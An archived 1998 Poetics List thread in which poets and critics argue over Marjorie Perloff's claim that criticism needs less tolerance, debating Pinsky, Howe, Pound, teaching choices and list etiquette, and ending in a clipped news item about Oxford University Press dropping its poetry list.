Marjorie Perloff was using Pound along with a list of other 'opiniated' and 'passionate' poets to make her point, not Pound's point. You should leave Pound out of it unless you've got something substantive to say about him. Its not that he needs defending as regards his poetic or critical canon. His reputation is secure. But if he could answer your post, I'm certain that you would find that he had far more substance than you seem to imagine. Sometimes his literary tactics were aimed at making a strong impression on an atrophied and closed literary society, just as your opinions are heated in order to politic for a somewhat tired yet "tolerant" furbelow of literary critical history. However, if anything your little blast confirms Perloff's assessment and this is all for the good.
Finally, you need a little perspective. This is a list of some six hundred souls and the cumulative effect of all of us will probably not represent a fraction of the impact that Pound has had on poetry. The same could be said for the others on Perloff's list. What does that say about the value of "confrontation" or whatever banality we're currently puffing ourselves up with on this list.---Carlo Parcelli
Gabriel Gudding wrote:
>
> MP wrote:
> > >But neither poetry nor criticism ever came out of tolerance;

> > >they are born out of opposition (to earlier poetries, rival poetries,
> > >political systems, forms of oppression), resistance, and --hard as it is
> > >to use the word at the moment-- discrimination.
>
> 1). Actually, this isn't true. Even a slight familiarity with American
> literary criticism during the first half of the 19C will show that
> without a turn toward a more tolerant kind of criticism, the burgeoning
> of letters known as the American Renaissance would certainly not have
> happened.
>
> 2). In his _The Origins of American Critical Thought, 1810-1835_ (1936),
> William Charvat declared the literature of American romanticism differed
> markedly from that of the British Romantics, attributing the difference to
> the influence of a radically judicial strain of, as he called it,
> "Scotch-based" American criticism during that quarter decade. He insisted
> that "though much of the evidence may suggest that American romanticism
was
> a later development of English romanticism, [this is in fact] [o]f course
> not true, for our romantics have no real prototypes in English literature
> of the preceding period. But the contrast throws light on an important
> fact. Much of the best criticism of our period concerned the English
> romantics. It was judicial, not appreciative criticism. The result was
> that the elements of English romanticism not acceptable to the American
> temperament were winnowed out."
>
> 3). Now, sixty years after Charvat's book, in a concise extension of his
> research, M. D. Walhout has taken note of a "hermeneutical turn" in
> American criticism between the years 1830 and 1860. Walhout, in paying
> particular attention to the reviewers George Allen and Edwin Percy
> Whipple, traces the advent of a critical milieu which attempted to
> "interpret" rather than judge authors. Here then is a sea-change in the
> nature of criticism used by American reviewers during the crucial first
> years of a new era in American literature. You can grock the Walhout in
> the Oct 96 issue of the _Journal of the History of Ideas_.
>
> 4). Without this sea-change toward a more "tolerant," or at least a less
> judicial, mode of criticism in the American critical milieu, we wouldn't
> have (the early) _The Dial_, Whitman, half of Emerson, Dickinson, Jones
> Very, tons of Fuller, and yada yada yada. There wasn't much poundian
> gaudium certaminis felt by many of these folks.
>
> 5). We'll always want to valorize our authors. And poets have been

> especially vulnerable to this tendency of critics to valorize their
> meaningless little skirmishes. This critical yawp against "Tolerance" is
> nothing more than a romantic tic. Seeing all these folks as iconoclasts,
> dissidents, and aesthetic saboteurs is very tempting and satisfies some
> kind of melodramatic need we have: it gives us our little heroes, which
> some of us desperately need.
>
> 6). But it just ain't so: tolerance has birthed more great poetry than
> intolerance. I don't read the very intolerant Little REview because of
> its great poetry: I read it because its contrariness is so foolish it's
> hilarious. History has shown Pound a fool and a crank: he should have
> spent less time being an intolerant bore and more time writing better poetry.
>
> Guantanamo Gudding

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653. **Mark DuCharme**
Re: free poetics
Sat 21 Nov 1998

I couldn't agree more with the substance of Henry's remarks. Grandstanding & personal attacks do nothing to further a discussion. Can one be "satirical" (Henry's word) without being petty? Can members of this list honestly disagree, if that's what it comes to, on specific points or even larger points of view, without letting such disagreement degenerate into a cat fight? Can we talk about poetics without trying to be cute? Can we listen to what others are saying?

Mark DuCharme

>The oracular "free poetics" can be interpreted in a lot of ways. I
would
>take it as a call to the POETICS LIST - to free itself up for more
direct
>dialogue on poetics issues per se. How? Less "personality", less
>grandstanding, less personal squabbling, less off-the-cuff "creative
>writing". I'm not referring to the Sondheim productions or other poems
>sent occasionally to the list - this is fine with me. Here's my recipe
>for a freed-up list:
>
>1. Dialogue. By dialogue I mean the responders to an
>initial post would have the courtesy to hold back their tangential
comments

>until people have responded to the main points of a post. It's the
>snide jabs or nit-picky irrelevancies that "deconstruct" a discussion.
>Not that messages are not fertile with OTHER issues - I'm just saying
we
>should hold fire until a voice is responded to directly, in kind, to
the
>question.
>
>2. Publication announcements, event announcements, calls for
submissions
>etc.
>
>3. Queries, poet contacts, etc.
>
>I'm in the ambiguous spot of being one of the big offenders in this
>area - one of the select few of constant babblers who clog up the list
>- but I have also participated for a long time in my erratic way in the
>more regular activities. I'm personally bored myself with the same old
>voices & tricks that keep poetics from being "free", & would be glad to
>hear MORE voices on more EXTENDED & focused talk about poetry.
>Believe me, I would shut up for this.
>
>I realize I will now be hit on as a humorless hypocrite & people will
>pipe up to say that jokes & free-for-all are what makes the list
interesting,
>okay. But if it's ALL jokes & antics & irrelevancies & ego-trips of
people
>that would rather interrupt an attempt at discussion with their own
agendas,
>maybe there needs to be a sub-poetics humor list, for those who would
rather
>focus on that kind of interplay. I will not be joining that list. Not
today
>anyway - maybe tomorrow. - Henry Gould
>
>p.s. sometimes satire is the best & most interesting way to respond -
to
>puncture a tire, etc. But it's also a cheap shot.
>
>p.p.s. I like the nice short FUNNY posts. They are a great addition to
the
>list. What I don't like is extended irrelevant grandstanding (I know,

I know).
>& grudging non-apologies.
>
>p.p.p.s. nor I'm I saying this should be a hyper-smartass
show-off-your-brain
>show-off-your-connections list. But how many "beginners" would want to
write
>to a list that seems balanced between insider snobbery, sour attacks,
and
>off the wall extended soliloquies? Joel K. is right - let there be
>"community".

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654. Joe Amato/Kass Fleisher

Re: Marjorie Perloff is Wrong

Sat 21 Nov 1998

---

gabriel: i believe you're identifying some imprecision in the way "tolerance" has been used here, on poetix... i.e., whether "tolerance" means something like "openness to generic variation or new genres" (e.g.), or whether "tolerance" is to be taken as a vote for interpretation over and against (to the extent interpreting may be over and against) judgment...

i'd like to think i'm tolerant of multiple genres (i say, i like to *think* so)... but, e.g., i may be extremely intolerant of (what i deem) "poor writing" across all genres (wouldn't want to leave my brain (in my) behind, yknow, where it usually is)... of course i wouldn't use the word "intolerant" in this case mself... i'd be more interested in establishing the terms of what i like, why i like what i like, etc... and there may be times, in fact, when i might find it less important to critique "poor writing" in a given genre, than to celebrate the very fact of its existence (i do not allude here solely to matters pedagogical, either)... broadly speaking, judgment is a discursive matter, and so subject to all of the slipperiness of discursive matters... esp. when i bump up against artifacts that emerge from cultural conditions of which i have limited knowledge, or esp. when i sense that my "status" (not ontologically, but socially) puts me in a problematic relationship vis-a-vis said artifact, i may do well to remain silent, listen, see if i can't hear a murmur unlike any i've heard before...

one more thing, and i know you know this: the literary playing field is not, and probably never will be, a level one... i would imagine that, in accounting for our judgments, we'd take this into account---somehow... i can't, e.g., seem to come

to terms with any number of artifacts w/o understanding the extent to which they reflect nastier ideological motives (you name it---_birth of a nation_, _triumph of the will_, pound's _cantos_)... i just don't see the binary of in/tolerance taking us too far along in a discussion of such complex issues... your word "judicial" has itself curious overtones (esp. given the u.s. backdrop at the moment), but as a start, it's a wee bit happier, provided it doesn't augur one of the hoarier forms of "objectivity" or "style"...

best,

joe

↑ Index

655. **Joe Amato/Kass Fleisher**
oh YEAH...
Sat 21 Nov 1998

---

oh and one MORE thing (and yes, marjorie is a dear friend, but it's not about our friendship, no it's not): please to note that i've altered my subject line (above)... and my apologies---to marjorie---for having posted my last one under that prior subject line...

i find it more than a bit disturbing that marjorie should post in a single post, her first in quite a while, and that her post should be responded to via a subject line UNLIKE ANY OTHER i've seen on poetix in---well, in a good long while now, if ever... when's the last time anyone's name has been used in this fashion?... i simply must mention here, and i know this will rankle some, that there would seem to be, among other things, a gender element to all of this...

and i mean, i didn't post in with a subject line reading GABRIEL GUDDING IS WRONG, merely to be provocative (or whatever)... and i wouldn't...

so hey gabe, for what it's worth, please to observe what you've managed here, pal...

///

joe

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656. **s. kaipa**
Re: oh YEAH...
Sat 21 Nov 1998

When I read the Gudding post, I thought just that: It has nothing to do with tolerance in poetry unfortunately. It has everything to do with wanting to put "Marjorie Perloff is Wrong" in the subject line.

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657. **Gabriel Gudding**
Re: Marjorie Perloff is Wrong
Sat 21 Nov 1998

Mark, I will try to answer your questions below.

1). But first let me say that I am not very comfortable in the realm of reasonable explanations; I would rather stick to unsubstantiated and violently asserted opinions.

2). Second, My insultive rhetoric should not be taken personally: it's just a tic, a matter of style: call me Don Rickles redivivus. I love Perloff, I love all the right people.

On Sat, 21 Nov 1998, Mark W Scroggins wrote:

> *Two questions to Gabriel Gudding:*
>
> *1) can you demonstrate _any_ connection whatsoever between the "more tolerant milieu" in American criticism in the early part of the nineteenth century and the achievement in poetry of Emily Dickinson?*

No I cannot. That was a flagrant hunch. But I _can_ insist that Whipple and others who were advocating a new interpretive criticism (in which the critical act was first one of tolerance, second one of interpretation, and third one of an assessment of how precisely the piece in question compares to what came before). Margaret Fuller was a notable advocate of this new method. And her role as an important editor and author during the period is beyond question.

How do you Prove how or why Anyone writes what they do?, especially Dickinson: It's a hunch. Poets were not getting their manifestoes and reviews, if written, published. During that time very very few poets were writing reviews of poetry: Poe being a notable exception.

> *asserting such doesn't make it so--even if someone named Walhout has already asserted it.*

All Walhout asserted was that a great many reviewers began approaching their reviews hermeneutically and tolerantly rather than judgementally and intolerantly. I'm the one asserting the connections btw this new critical milieu and the Am Ren: it's a hunch and let me be the first to say that's all it is: my mention of Walhout and Charvat is not meant to, in the words of Scroggins, constitute a furbelow; it's not some casuistic blather, but a hunch.

> *2) can you clarify--with examples--what you mean by tolerance giving rise to great poetry? sure doesn't seem to work for Blake, Milton, Moore, Pope, Dickinson (for that matter), etc.*

Man, I suspect the terms "great poetry" and "tolerance" are getting hazy enough to preclude any HOPE of a fun brouhaha being the likely result of this line of inquiry. Which is my polite way of backing out of waht I suspect is going to become a shotgun duel.

Guelph Gudding

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658. **Marjorie Perloff**

Re: A PS on the Tolerance issue

Sat 21 Nov 1998

Tolerance of other people is essential in any community that professes to be democratic, yes. But "tolerance" of poetries that one takes to be --as one member of the List said--not poetry at all but just crap is a way of undercutting the very poetry one believes in and has had a terrible effect of making things bland and unimportant. I would never put down a young poet who's struggling to get somewhere because that's cruel and deflating but when someone is as famous as Pinsky, our Poet Laureate, our McNeill-Lehrer Newshour poet, or his British counterpart the late Ted Hughes--yes, I think it's NECESSARY to be oppositional(and what's Romantic about it??) because the very presence of bad and cliched language on the airways and in print (we have enough of it already) deflates the other wonderful material out there. In other words, yes, I'd be thrilled if McNeil-Lehrer had Susan Howe on that five minute spot rather than Pinsky because there are actually viewers who would see and hear someone outstanding and would change their image of poetry. And yes, as someone who loves Dante and can read it more or less in Italian, I do think it needs to be said that Pinsky's Dante, which is praised far and wide, is really a very weak version. Otherwise, "Dante" becomes a pretty uninteresting poet.

I realize I'd have to defend those views--and we all do--but isn't that what criticism is all about?

It always makes me think of Frank O'Hara's "If they don't like poetry, bully for them. .The movies are good too. Don't forcefeed." That would be my answer to Susan Schultz re Rita Dove. No doubt it's true that in a certain context, Rita Dove will speak to students more easily than does Susan Howe, but then what does that "speaking" mean and why do we want it for our students? No one NEEDS poetry, after all. And I'm not sure--much as I usually agree with Susan and love her work--that there's a ladder effect--i.e. from Dove up the scale to Howe etc. It CAN work the other way....

Marjorie P

↑ Index

659. **Mark Weiss**
Re: tolerance
Sat 21 Nov 1998

Hugh: Do what you have to to get the grants. But let's be clear about this: Robert Pinsky and I do not merely inhabit different cliques. I think if he were aware of my work and that of a good many others on and off this list he would think that we were somehow failing to do what he does, which maybe is a lot more tolerant than my judgement of him and his ilk, namely, that they're so clueless that what they aspire to isn't poetry and as such is irrelevant to the practice of poetry as I understand it. And even though on occasion one's work may bear resemblance to what those guys and gals do the premises on which it's based are worlds away. To put it differently, if I bicker, say, with Ron Silliman it's a family argument. Those other guys might as well be martians. And with these aliens there's not much hope for peace.

At 10:29 AM 11/22/98 -0700, you wrote:
>Tony Kushner has a pretty decent essay on tolerance. He writes, "Tolerance
>can be used to normalize an insupportable situation, or it can serve to
>warn those groups which lack real power that they exist on sufferance, that
>they are tolerated."
>
>To what extent then is our work tolerated? Exactly as much as it takes
>part in a power structure that is hostile to what and how we write. You
>want to get an award from the Academy of American Poets, you better hope
>you're tolerable.
>
>If one is feeling pessimistic, it is easy to perceive the world of poetry
>as one that consists of polarized and hostile camps, endlessly bickering
>with one another (or operating in a sort of snooty ignorance of everything
>else outside of their tiny and shrinking circles). What thin glazing of
>tolerance we tolerate mostly produces tokenism and toadyism, a superficial
>engagement that does little for the art.
>
>What choices do we have? We can create our own institutions, magazines,
>presses, communities, and circle the wagons. Or we can work to undo that
>hostility.
>
>I agree with Marjorie that reading work by people outside one's clique is
>important, not just to pat yourself on the head and feel good about the

>utter brilliance of your work, but with a willingness to maybe learn
>something, and to start a dialogue. It means looking for intersections,
>commonalities between our writing and those of others. It is often
>surprising to discover how many of them there are.
>
>I also think its important that the big institutions, the funders, the
>magazines that purport to show what's best in poetry, resist aesthetic (and
>all other forms of) apartheid in their choice of poets and poetry.
>
>It also means insisting upon a place at the table. I hate having to use
>euphemisms for the type of poetry we present at Small Press Traffic when
>I'm working on a grant. But I also understand how important it is to
>communicate what we do to people who have no idea what we do, and to
>communicate why what we do (the writers we present) are important.
>
>Hugh Steinberg
>
>Marjorie Perloff writes:
>
>>No easy answers but doing this this dialogue convinced me yet again that
>>the only way to discuss these issues is to actually ANALYZE the work.
>>So when Andrew Rathmann and others write in that we should read both
>>Howe and Pinsky and be tolerant, I want to ask WHY? Since when has
>>poetics been a question of tolerance? Was Pound tolerant? Was Stein?
>>Blake? Samuel Johnson? Wordsworth? Walter Pater? Virginia Woolf?
>>Cage? Baraka? Just remember Frank O'Hara's delightful dismissal of
>>Robert Lowell! I want to suggest that, on the contrary, it's time to
>>start being a bit intolerant and make the case for the poetry we believe
>>in. I think that a decade of nominal multiculturalism has created an
>>unfortunate situation where the main critical virtue seems to be
>>TOLERANCE. But neither poetry nor criticism ever came out of tolerance;
>>they are born out of opposition (to earlier poetries, rival poetries,
>>political systems, forms of oppression), resistance, and --hard as it is
>>to use the word at the moment-- discrimination.
>>
>>So--to come back to Pinsky--the only way to compare Howe to Pinsky is to
>>take passages of poetry (better yet, whole books) and study them side by
>>side. As Peter Quartermain reminded readers of this List a while ago,
>>perhaps it's time for a little (pardon the term) Close Reading!
>>
>>Marjorie Perloff

>
>

↑ Index

660. **Gabriel Gudding**
Re: Oh Yeah!
Sat 21 Nov 1998

Joe. I take your point, I take your very politely-put point (thank you). The reasons I used that subject heading are these:

1). A major critic has just called for more intolerance in our world of letters.

2). Intolerance is useless and goofy. The idea that great poetry is born of opposition is Bloomian and tired and romantic. No one who's recently experienced intolerance -- either literary or otherwise -- is going to relish the idea of its increase.

3). To associate a call for tolerance with "nominal multiculturalism" is just bizarre: tolerance, in all pursuits, letters included, is necessary. To insist we need less of it is foolish, deluded, and ignorant. Should I say otherwise?

4). What ought we do? MANUFACTURE intolerance? Somehow work to CREATE more intolerance?

5). No writer, no decent human being, loves or sees intolerance as necessary.

6). I'm sure that the intolerance Blake or Milton (his thoughts on book burning and murder notwithstanding!) faced was not relished by either: and here we have someone whose professional life is probably VERY comfortable advocating and Increase in Intolerance to a bunch of poets. OF COURSE I'm going to insist "Marjorie Perloff is wrong"!

7). She is.

Thank you for your kind post: I'm sorry that I cannot be kinder about the ideas in Perloff's post. Please be well, Gabe

On Sat, 21 Nov 1998, Joe Amato/Kass Fleisher wrote:

> *oh and one MORE thing (and yes, marjorie is a dear friend, but it's not about our friendship, no it's not): please to note that i've altered my subject line (above)... and my apologies---to marjorie---for having posted my last one under that prior subject line...*
>
> *i find it more than a bit disturbing that marjorie should post in a single post, her first in quite a while, and that her post should be responded to via a subject line UNLIKE ANY OTHER i've seen on poetix in---well, in a good long while now, if ever... when's the last time anyone's name has been*

> *used in this fashion?... i simply must mention here, and i know this will rankle some, that there would seem to be, among other things, a gender element to all of this...*
>
> *and i mean, i didn't post in with a subject line reading GABRIEL GUDDING IS WRONG, merely to be provocative (or whatever)... and i wouldn't...*
>
> *so hey gabe, for what it's worth, please to observe what you've managed here, pal...*
>
> *///*
>
> *joe*

↑ Index

661. **Gabriel Gudding**
Re: oh YEAH...
Sat 21 Nov 1998

This is not true. It has everything to do with insisting that Marjorie Perloff is wrong: that is to say, her post and its contents is wrong; I have explained in my initial post and in one just sent why I think she is wrong.

A major critic has just called for an increase in intolerance and your concerned about the subject line of my post???!! Come on!

Guelph Gudding

On Sat, 21 Nov 1998, s. kaipa wrote:

> *When I read the Gudding post, I thought just that: It has nothing to do with tolerance in poetry unfortunately. It has everything to do with wanting to put "Marjorie Perloff is Wrong" in the subject line.*

↑ Index

662. **George Bowering**
(no subject)
Sat 21 Nov 1998

> *free poetics*

Put me down for two boxes.

George Bowering.

,

2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

663. **George Bowering**
Re: Martin Bartlett
Sat 21 Nov 1998

> *I look fwd to listening to the CD Herb Levy tells us about.*
>
> *David*

It is splendid. Also, it is amazing well engineered. Terrif music and a well-made CD. Congrats to all! Now I wish I had a CD player in my car! I could listen to Martin Bartlett AND Bobby Bland.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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664. **George Bowering**
Re: A Defense of Cheap Shots
Sat 21 Nov 1998

> *Henry Gould wrote:*
> *p.s. sometimes satire is the best & most interesting way to respond - to puncture a tire, etc. But it's also a cheap shot.*

I still look back with fondness at the technique that Bromige and I and FRank Davey and Mazine Gadd used in the early sixties. If we thought that the poet who was reading was not kicking out the jams, we used to throw puppies and kittens at him or her. It was always hard to continue reading crap after getting puppies and kittens thrown at one.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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665. George Thompson
GABRIEL GUDDING IS RIGHT
Sat 21 Nov 1998

Where I come from, if you are tolerant, you are open-minded. If you are intolerant, you are closed-minded.

I don't know where Marjorie Perloff comes from, but I'm going to keep my mind open.

The rest of you can do what you want. Goodbye.

[That's tolerance for you.]

Gabriel Gudding is right.

GT

↑ Index

666. Joe Amato/Kass Fleisher
Re: Oh Yeah!
Sat 21 Nov 1998

gabe, thanx for your thoughtful reply...

here's the excerpt from marjorie's post:

> *I want to suggest that, on the contrary, it's time to start being a bit intolerant and make the case for the poetry we believe in. I think that a decade of nominal multiculturalism has created an unfortunate situation where the main critical virtue seems to be TOLERANCE. But neither poetry nor criticism ever came out of tolerance; they are born out of opposition (to earlier poetries, rival poetries, political systems, forms of oppression), resistance, and --hard as it is to use the word at the moment-- discrimination.*

again, my mind-reading abilities not up to par, i can only plumb the above for what i think it's saying... i wish, in fact, marjorie had not laid the gist of her remarks here at the doorstep of "nominal multiculturalism"... i assume her implied argument proceeds along the tried & true lines of canon issues, how the (generally successful, in many ways) attempt to "represent" difference (race/gender etc.) tends to sidestep sticky aesthetic matters---how it's high time we got to these latter...

now, i've always seen the aesthetic, mself, as operating within (or out of) a political-ideological situation... case in point, the 19th century (to which you've

made reference, gabe): if in fact critics in the middle part of the century *were* more judicious, thought better than to rush to judge, this doesn't quite explain why women ended up on the short end of things... which is to say, selection itself is already a judgment, the ideological is already in place...

which of course complicates---substantively---any appeal for judgment today... which appeal marjorie is making, and for that matter i'm making...

but read that quote above... "a bit intolerant"---to, presumably, that work which we don't "believe in"... which is to say, in so many words, that work which fails to "oppos[e]," "resist[]," or "discriminat[e]"...

i find the latter measured, but provocative indeed, esp. given marjorie's use of "nominal multiculturalism" and "discriminat[e]" in the same para---my hunch is that she KNOWS she's provoking, albeit one might argue that this is a reactionary usage... but it's easy for me to "believe in" work that "resists" tired complacencies, e.g., of form and identity... just *for example*, though---i'm talking in the abstract...

i'll leave it to marjorie to work this out---i'm no apologist for her... like i say, i'm her friend... i don't think she'd object to a *close reading* of her post, though...

and here again, the spirit of her post (if one may be permitted such a thing, nowadays) is directed at the matter of making aesthetic judgments, of holding *ourselves* accountable for aesthetic evaluation (no?)... and in this regard it think that what she's after in her post is vital, and lacking... i wouldn't frame the issue (as i've said before) in terms of that in/tolerance couple... though it's probably the case that andrew rathmann used the term "tolerant" to refer to pinksy's poetry in order to suggest that we learn to get inside different aesthetics prior to evaluating them---the mark of an open critical mind---fact is that, taken far enough, everything becomes of ostensibly equal value (or, if you will, critical fodder)... how to balance an openness to genre, and aesthetics, in the midst of our current, overdetermined, mass-produced public sphere?...

marjorie is asking simply that we risk something more (whatever you make of her historical remarks, as it were---and note that she prefaces all of the above with "[n]o easy answers")... i think mself that we *must* risk something more, gabe, and that in fact we do so all the time, in our more private lives...

ok, that's enough from me for a spell... thanx all for your patience///

best,

joe

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667. **MAYHEW**
Re: Marjorie Perloff is Wrong
Sat 21 Nov 1998

Who could be against tolerance? Yet Gabe Gudding is wrong in this case. Tolerating an officially lionized mediocrity like Pinsky is entirely pointless.

Jonathan

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668. **Mark Weiss**
Re: Oh Yeah!
Sat 21 Nov 1998

I think there's some confusion here. This is not a civil rights issue. No social class will be ground into the dirt because I feel strongly that certain literateurs--whole villages of them--distort the genre by calling themselves poets. The stakews just aren't thatr high. Nor is there a necessary contagion from one kind of intolerance to the other.

At 06:47 PM 11/21/98 -0500, you wrote:
>Joe. I take your point, I take your very politely-put point (thank you).
>The reasons I used that subject heading are these:
>
>1). A major critic has just called for more intolerance in our world of
>letters.
>
>2). Intolerance is useless and goofy. The idea that great poetry is born of
>opposition is Bloomian and tired and romantic. No one who's recently
>experienced intolerance -- either literary or otherwise -- is going to
>relish the idea of its increase.
>
>3). To associate a call for tolerance with "nominal multiculturalism" is
>just bizarre: tolerance, in all pursuits, letters included, is necessary.
>To insist we need less of it is foolish, deluded, and ignorant. Should I
>say otherwise?
>
>4). What ought we do? MANUFACTURE intolerance? Somehow work to
CREATE
>more intolerance?
>
>5). No writer, no decent human being, loves or sees intolerance as necessary.
>
>6). I'm sure that the intolerance Blake or Milton (his thoughts on book

>burning and murder notwithstanding!) faced was not relished by either: and
>here we have someone whose professional life is probably VERY comfortable
>advocating and Increase in Intolerance to a bunch of poets. OF COURSE I'm
>going to insist "Marjorie Perloff is wrong"!
>
>7). She is.
>
>Thank you for your kind post: I'm sorry that I cannot be kinder about the
>ideas in Perloff's post. Please be well, Gabe
>
>On Sat, 21 Nov 1998, Joe Amato/Kass Fleisher wrote:
>
>> oh and one MORE thing (and yes, marjorie is a dear friend, but it's not
>> about our friendship, no it's not): please to note that i've altered my
>> subject line (above)... and my apologies---to marjorie---for having posted
>> my last one under that prior subject line...
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>> i find it more than a bit disturbing that marjorie should post in a single
>> post, her first in quite a while, and that her post should be responded to
>> via a subject line UNLIKE ANY OTHER i've seen on poetix in---well, in a
>> good long while now, if ever... when's the last time anyone's name has been
>> used in this fashion?... i simply must mention here, and i know this will
>> rankle some, that there would seem to be, among other things, a gender
>> element to all of this...
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>> WRONG, merely to be provocative (or whatever)... and i wouldn't...
>>
>> so hey gabe, for what it's worth, please to observe what you've managed
>> here, pal...
>>
>> ///
>>
>> joe
>>
>
>

↑ Index

669. **Susan Schultz**
Re: Marjorie Perloff Has a Point
Sat 21 Nov 1998

For me, this issue of tolerance depends upon context. I don't especially like Pinsky or his friends, so I usually don't read them. I much prefer Susan Howe to Adrienne Rich, despite their complementary essays on Emily Dickinson. But several years ago I taught a graduate class to a group of returning students, several of whom had been "away from poetry" for years. I taught a wide rage of authors, though I began from the mainstream and then moved out onto the shoals and into the marshes I like. Rita Dove was poet laureate at the time and so I taught her book, as one of our concerns was public poetry. Several of the students reacted as if they'd just been fed for the first time in weeks; they loved the poems and loved her work as laureate. She almost literally brought them back into the fold. They would not have responded as well as they did to Howe, I'm persuaded, if they hadn't gotten excited by Dove.

So what am I to do? Present them only with the texts that genuinely excite me? I don't think so. As Susan Howe says on her Linebreak interview, Americans unfortunately do not feast on difficulty; but in my experience, they may crave it once they've encountered a poetry they better expect, that speaks to them more immediately. Give them what excites _them_ and then switch the field. That seems to work better in the classroom.

While I find Pinsky an embarrassment on TV, he does read poems on the Lehrer hour because he is poet laureate. This, it seems to me, is not a bad thing entirely.

This kind of issue comes up a lot in Hawai`i, where there are lots of different poetries and everybody bickering all the time. Where people of different ethnicities want to be the only ones to tell their own stories, for better or for worse. Hawai`i, which proclaims itself a "tolerant" state isn't--I don't think tolerance happens naturally in nature. But multiculturalism here (where it's damn real) doesn't breed pure tolerance, that's for sure. It breeds contentiousness. The literary world is often at its own throat. There's a lot of saying "you can't write about this or that, but I can." I'm not sure this is good for anyone's work, even if it does encourage some kinds of honesty.

Poetry is synthetic. Even Pound and Baraka, maybe _especially_ Pound and Baraka synthesize, even when they hate doing it. Synthesis is a kind of tolerance, even if it sometimes comes with self-hatred.

In a place like Hawai`i, at least for someone like me, who is not _from_ here, the act of synthesis is all I've got. Susan Howe is synthetic--Marjorie Perloff

loves her work and Susan Howe prefers Stevens to Pound. Does this mean something?

So I like Marjorie Perloff's passion; I love the poets she loves (though she says she can't abide Riding!); I prefer her poets to members of the Pinsky team. But I also cherish the notion of tolerance--perhaps because I have to. It's always worth talking to each other--even when we have very little to say.

Susan Schultz

↑ Index

670. **Mark Weiss**
Re: Marjorie Perloff Has a Point
Sat 21 Nov 1998

I've been teaching poetry for a long time. When it's a workshop I always explain at the beginning of the semester that I will only teach poetry that I love--it's not my business to ruin, say, Sylvia Plath for them, and I assume that they'll have lots of teachers with different passions to cover that base. Many students have a hard time with my choices at first, but they all seem to come out knowing how to read and learn from poetry that once baffled them. That's what works in my classroom. What you do apparently works in yours, but it's not the only way.

At 08:46 PM 11/21/98 EST, you wrote:
>For me, this issue of tolerance depends upon context. I don't especially like
>Pinsky or his friends, so I usually don't read them. I much prefer Susan Howe
>to Adrienne Rich, despite their complementary essays on Emily Dickinson. But
>several years ago I taught a graduate class to a group of returning students,
>several of whom had been "away from poetry" for years. I taught a wide rage
>of authors, though I began from the mainstream and then moved out onto the
>shoals and into the marshes I like. Rita Dove was poet laureate at the time
>and so I taught her book, as one of our concerns was public poetry. Several
>of the students reacted as if they'd just been fed for the first time in
>weeks; they loved the poems and loved her work as laureate. She almost
>literally brought them back into the fold. They would not have responded as
>well as they did to Howe, I'm persuaded, if they hadn't gotten excited by
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>
>So what am I to do? Present them only with the texts that genuinely excite
>me? I don't think so. As Susan Howe says on her Linebreak interview,
>Americans unfortunately do not feast on difficulty; but in my experience,

they
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>to them more immediately. Give them what excites _them_ and then switch the
>field. That seems to work better in the classroom.
>
>While I find Pinsky an embarrassment on TV, he does read poems on the Lehrer
>hour because he is poet laureate. This, it seems to me, is not a bad thing
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>
>This kind of issue comes up a lot in Hawai`i, where there are lots of
>different poetries and everybody bickering all the time. Where people of
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>isn't--I don't think tolerance happens naturally in nature. But
>multiculturalism here (where it's damn real) doesn't breed pure tolerance,
>that's for sure. It breeds contentiousness. The literary world is often at
>its own throat. There's a lot of saying "you can't write about this or that,
>but I can." I'm not sure this is good for anyone's work, even if it does
>encourage some kinds of honesty.
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>Baraka synthesize, even when they hate doing it. Synthesis is a kind of
>tolerance, even if it sometimes comes with self-hatred.
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>In a place like Hawai`i, at least for someone like me, who is not _from_ here,
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>Perloff loves her work and Susan Howe prefers Stevens to Pound. Does this
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>So I like Marjorie Perloff's passion; I love the poets she loves (though she
>says she can't abide Riding!); I prefer her poets to members of the Pinsky
>team. But I also cherish the notion of tolerance--perhaps because I have to.
>It's always worth talking to each other--even when we have very little to say.
>
>Susan Schultz
>
>

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671. **mj devaney**
Re: Marjorie Perloff is Wrong
Sat 21 Nov 1998

Gabriel Gudding wrote:
>
> MP wrote:
> > >But neither poetry nor criticism ever came out of tolerance;
> > >they are born out of opposition (to earlier poetries, rival poetries,
> > >political systems, forms of oppression), resistance, and --hard as it is
> > >to use the word at the moment-- discrimination.
>
> 1). Actually, this isn't true. Even a slight familiarity with American
> literary criticism during the first half of the 19C will show that
> without a turn toward a more tolerant kind of criticism, the burgeoning
> of letters known as the American Renaissance would certainly not have
> happened.

But then:

> *2). In his _The Origins of American Critical Thought, 1810-1835_ (1936), William Charvat declared the literature of American romanticism differed markedly from that of the British Romantics, attributing the difference to the influence of a radically judicial strain of, as he called it, "Scotch-based" American criticism during that quarter decade.*

Doesn't this support Marjorie's point, since American romanticism here is defined in opposition to British romanticism?

--MJ Devaney

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672. **A. Jenn Sondheim**
Re: Marjorie Perloff Has a Point
Sat 21 Nov 1998

What constitutes difficulty? I, too, teach what I love, and this can range from Coleridge to Coolidge, Di Prima to Di Palma. But difficulty is some- thing else; there is difficult _language,_ of course, but one can locate difficulty as well in Frost (no, I don't teach Frost). Emily D. for me is a difficult poet. There's also something to be made for accessibilty; I can't get E. S-V Millay out of my mind.

I tend to see poetry/poetics as a highly subject discursive field with numerous attributions; negotiating the field is difficult itself, but it seems problematic to

teach even such-and-such a style as contemporary, working in odd and awkward ways through exclusions. Baraka for me is always relevant.

Then there are other difficult problems, of content and intention - which create other ways to negotiate. What Silliman and Swift have to 'say' about the city. Or the intentionality, such as it is, of Kimball and koan poetics - there are relationships all over the place.

Writing can be a miracle - look at kennings again. And for Pinsky, I can say, not having read him, he'd be good to look at in a class on the basis of the institute of Laureate. Why not? This is the main emblem of poetry and the social, however one feels about it. (But I'll wait until I have the opportunity before stepping in _that._)

My god, language is _exciting,_ so many possibilities (sometimes I think, like bones sticking out of a corpse). There's no reason to follow school or fashion or make students into believers. And students are _made_ far too often.

Alan and Jennifer

↑ Index

673. **joel lewis**
f.y.i.
Sat 21 Nov 1998

Dalya Alberge on the surprise decision by Oxford University Press to drop contemporary poets

©

The poets Peter Porter, left, Carole Satyamurti and D J Enright were given no warning they were to be dropped

Anger over dead poets society

POETS were shocked to receive a curt letter from Oxford University Press yesterday informing them that the publishing house had decided to abandon its entire modern poetry list.

There had been no warning. Even the poetry editor, who has run the list for 20 years, had been kept in the dark.

